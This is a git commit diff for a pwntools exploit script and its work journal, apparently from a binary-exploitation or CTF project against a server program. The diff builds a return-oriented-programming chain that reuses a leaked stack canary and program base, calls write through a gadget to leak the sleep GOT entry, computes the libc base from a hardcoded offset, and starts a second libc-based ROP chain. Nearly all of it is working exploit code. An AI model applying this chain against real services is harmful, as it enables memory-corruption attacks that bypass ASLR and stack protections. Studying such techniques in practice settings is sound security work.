working libc leak, almost done

Author: robalb

docs/work-journal.md

@@ -683,3 +683,13 @@ wait this is good:
 this gives us access to write, by using
 the registers we control:
 rbx,rbp, r12
+
+
+```
+    # this clobbers rdx with the pointer in rdi
+    # rop.call('strlen', [e.symbols['_IO_stdin_used']+0x16])
+
+    # this clobbers rdx with a pointer
+    # rop.call('getcwd', [0,0])
+
+```

expl_all.py

@@ -25,6 +25,7 @@
 
 
 e = ELF(local_file)
+libc = e.libc
 context.binary = e
 context.log_level = "info"
 
@@ -223,46 +224,66 @@ def main():
     print(hex(program_base_offset))
     e.address = program_base_offset
 
-    #leak libc rop chain
+
+    #
+    #leak libc with a rop chain
+    #
     rop = ROP(e)
-    # this clobbers rdx with the pointer in rdi
-    # rop.call('strlen', [e.symbols['_IO_stdin_used']+0x16])
-
-    # this clobbers rdx with a pointer
-    # rop.call('getcwd', [0,0])
-    read_addr = e.symbols['_IO_stdin_used']+0x18 #html string
-    read_addr = e.got['sleep']
-    rop(r12=4, rbx=20, rbp=read_addr)
-    # rop.r12 = 4
-    # rop.rbx = 20
-    # rop.rbp = e.symbols['_IO_stdin_used']+0x18 #html string
-
-    write_primitive = program_base_offset+0x260c 
+    rop(r12=4, rbx=20, rbp=e.got['sleep'])
+    """
+    not a gadget: allows us to call write with registers
+    we control, then it will crash
+         0x0260c  mov    rdx,rbx
+         0x0260f  mov    rsi,rbp
+         0x02612  mov    edi,r12d
+         0x02615  call   0x22d0 <write@plt>
+    """
+    write_primitive = program_base_offset + 0x260c 
     rop.raw(write_primitive)
 
-    #these two work, but we need a value not too large in rdi
-    # rop.call('write', [4, (e.symbols['_IO_stdin_used']+0x18)]) #html string
-    # rop.call('write', [4, e.got['sleep']])
-
-    # rop.call('client_error', [4, e.got['sleep']])
-    # rop.call('sleep', [4]) #this sleep is here to help debugging
-
     payload  = b''
     payload += canary_bytes
     payload += b'\x00' * SAVED_REG_SIZE #registers stored before rip
     payload += rop.chain()
     print(rop.dump())
     p = run_expl(payload)
 
+    #
     #parse the libc leak
-    # p.interactive()
-    out = p.clean(timeout=6)
+    #
+    p.recvuntil(b'File not found')
+    libc_sleep_bytes = p.recv(numb=8)
+    print(libc_sleep_bytes)
+    out = p.clean()
     print(out)
     p.close()
 
-    #TODO: calculate libc address
-    # libc = e.libc
-    # libc.address = libc_base
+    #
+    #calculate libc base offsest
+    #
+    libc_sleep_addr = u64(libc_sleep_bytes)
+    libc_sleep_base_addr = 0xc2570 #WARNING: hardcoded for a specific libc
+    libc_base = libc_sleep_addr - libc_sleep_base_addr
+    libc.address = libc_base
+
+    print("leaked libc addr:")
+    print(hex(libc_sleep_addr))
+    print("libc base addr:")
+    print(hex(libc_base))
+
+    #rop chain
+    rop = ROP([e, libc])
+    rop.call('sleep', [4]) #used for debugging. no sleep=premature crash
+
+    payload  = b''
+    payload += canary_bytes
+    payload += b'\x00' * SAVED_REG_SIZE #registers stored before rip
+    payload += rop.chain()
+    print(rop.dump())
+    p = run_expl(payload)
+    out = p.clean(timeout=6)
+    print(out)
+    p.close()